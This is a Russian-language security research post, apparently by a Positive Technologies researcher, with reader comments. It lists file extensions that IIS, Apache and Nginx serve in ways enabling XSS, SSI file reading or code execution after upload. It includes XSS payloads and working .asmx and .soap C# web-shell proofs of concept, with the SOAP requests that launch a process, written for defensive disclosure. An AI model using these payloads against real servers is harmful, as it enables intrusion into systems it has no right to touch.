image

Нередко, во время анализа защищенности веб-приложений мы сталкиваемся с загрузкой каких-либо файлов на сервер – это могут быть и фотографии учетной записи, и какие-то текстовые документы, и что угодно другое. Существуют расширения файлов, с которыми многие работали и знают, почему нужно запретить их загрузку на сервер (например, при использовании веб-сервера apache в связке с PHP, наверное, лучше избегать загрузку файлов с расширением «.php» от пользователей). Однако, мне показалось, что остались еще некоторые малоизвестные форматы, которые по-разному воспринимаются различными веб-серверами.

При написании кода, который отвечает за загрузку файлов, разработчики веб-приложений, могут прибегнуть к проверке расширения загружаемого файла либо по WhiteList (и тогда можно загружать только файлы с определенным расширением), либо по BlackList (и тогда можно загружать любые файлы, которые не описаны в списке). Если все-таки используется второй вариант, то это нередко может выливаться в уязвимость (например, XSS или даже RCE).

Как правило, программисты вносят в BlackList уже известные и очевидные расширения. В статье же будут рассмотрены не самые распространенные типы файлов.

Для демонстрации PoC использовались следующие пейлоады:

  • Базовый XSS-вектор, используемый для тестов (Basic вектор):

    <script>alert(1337)</script>
  • XSS-вектор с использованием XML (XML-based вектор):

    <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

Далее я покажу результаты этого небольшого исследования.

IIS


По умолчанию IIS отдает файлы, приведенные в списке ниже с content-type: text/html.

Расширения, которые позволяют использовать Basic-вектор:


  • .cer
  • .hxt
  • .htm



Таким образом, есть возможность внедрить XSS-вектор в загружаемый файл. При обращении к файлу, браузер успешно исполнит javascript.

Следующую группу расширений IIS отдаёт с таким content-type, который позволяет выполнить XSS через XML-вектор.

Расширения, которые позволяют использовать XML-based вектор:


  • .dtd
  • .mno
  • .vml
  • .xsl
  • .xht
  • .svg
  • .xml
  • .xsd
  • .xsf
  • .svgz
  • .xslt
  • .wsdl
  • .xhtml



IIS по умолчанию поддерживает SSI, однако секция exec запрещена в целях безопасности. При стандартном конфигурировании мы не сможем добиться произвольного выполнения команд, но будет возможность читать локальные файлы. Ниже приведены расширения, при использовании которых, IIS позволяет использовать SSI директивы.

Расширения для эксплуатации SSI:


  • .stm
  • .shtm
  • .shtml



Детальнее про использование SSI описано в твите @ldionmarcil.

Дополнение:


Так же есть еще два интересных расширения (.asmx и .soap), которые могут привести к выполнению произвольного кода. Это было обнаружено при сотрудничестве с моим коллегой – Юрием Алейновым (@YuryAleinov).

Asmx-расширение


1. Если есть возможность загрузки файлов с расширением «.asmx», то это может привести к исполнению произвольного кода. Для примера возьмем файл со следующим содержимым и загрузим на сервер:

<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;
using System.Diagnostics;


    [WebService(Namespace="")]
    public class MyClass : WebService 
    {
        [WebMethod]
        public string Pwn_Function()
        {
            Process.Start("calc.exe");
            return "PWNED";
        }
    }



2. Далее отправляем следующий POST запрос к файлу, который удалось загрузить:

POST /1.asmx HTTP/1.1
Host: localhost:44300
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 287

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <Pwn_Function/>
  </soap12:Body>
</soap12:Envelope>

3. В результате IIS запустит процесс «calc.exe»



Soap-расширение:


1. Содержимое файла, которое загружается с расширением «.soap»:

<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;

public class MyClass : MarshalByRefObject
{
    public MyClass() { 
	    System.Diagnostics.Process.Start("calc.exe");
	}		     
}

2. SOAP-запрос:

POST /1.soap HTTP/1.1
Host: localhost:4430
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: "/"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <MyFunction />
  </soap:Body>
</soap:Envelope>



Apache (httpd или Tomcat)


Расширения, которые позволяют использовать Basic-вектор:


  • .shtml
  • .html.de or .html.xxx (xxx – любые символы)*

Расширения, где можно использовать XML-based вектор:


  • .rdf
  • .xht
  • .xml
  • .xsl
  • .svg
  • .xhtml
  • .svgz

* — если в имени файла после .html следует .xxx, где xxx – любые символы, то Apache отдаст файл с Content-Type text/html. Если же вместо xxx будет, например, de,en,ru и т.д., то веб-сервер еще добавит в ответ заголовок Content-language с соответствующим значением.

Дополнение:


Большое количество файлов с разными расширениями Apache и Tomcat возвращает без заголовка Content-type, что позволяет провести XSS-атаку, т.к. браузер зачастую сам решает, как обрабатывать данную страницу. Хорошо описан этот вопрос в данной статье. Так, файлы с расширением .xbl обрабатываются браузером Firefox, как xml (если в ответе отсутствует заголовок Content-Type), поэтому есть возможность эксплуатирования XSS используя XML-based вектор в данном браузере.

Nginx


Расширения, которые позволяют использовать Basic-вектор:


  • .htm

Расширения, где можно использовать XML-based вектор:


  • .svg
  • .xml
  • .svgz

Заключение


Проанализировав взаимодействие веб-серверов с различными расширениями, были найдены форматы файлов, загрузка которых может привести к эксплуатации уязвимостей. Так, из-за загрузки определенных файлов, злоумышленник может эксплуатировать такие уязвимости, как XSS или даже RCE.

Данное исследование может служить еще одним подтверждением того, что использование черных списков может негативно отразиться на безопасности разрабатываемого веб-приложения. Поэтому лучше сформировать белый список, по которому будет осуществляться проверка расширения загружаемого файла.

Автор: Михаил Ключников, Positive Technologies

Комментарии (5)


  1. ZurgInq
    05.03.2018 21:26

    А как же отключить исполнение веб сервером uploaded файлов? Проверка расширений не имеет смысла, никто не мешает загрузить на сервер php скрипт с расширением jpg. А если стоит запрет на выполнение, то пусть хоть бинарник льют под видом картинки, место отъест да и только.


    1. Kant8
      06.03.2018 00:34

      А по каким причинам вебсервер вообще может захотеть кормить урл с .jpg в какой-нибудь php-fpm? Сам себе ноги прострелить решил?


    1. myemuk
      06.03.2018 13:52

      Имеется ввиду не только выполнение кода на сервере, но и в браузере другого посетителя веб-сайта. Сервер в этом случае, как и должен, отдаст статику без нареканий, возможно не с совсем верными заголовками Content-Type или вообще без него. А вот браузер тогда уже может при получении файла запустить код из него.


  1. whale001
    06.03.2018 13:52

    Иными словами — используйте white lists.


    1. sshikov
      06.03.2018 19:45

      Вообще-то не следует вовсе полагаться на проверку расширений, ни в каком виде. См. первый же комментарий, автор которого заметил, что расширение указывает клиент, и верить ему нельзя.

      Все же остальное зависит от того, как мы будем загруженные файлы обрабатывать, и кому их потом отдавать. Там может быть сколь угодно сложная логика, но ни к черным, ни к белым спискам она как правило отношения не имеет никакого.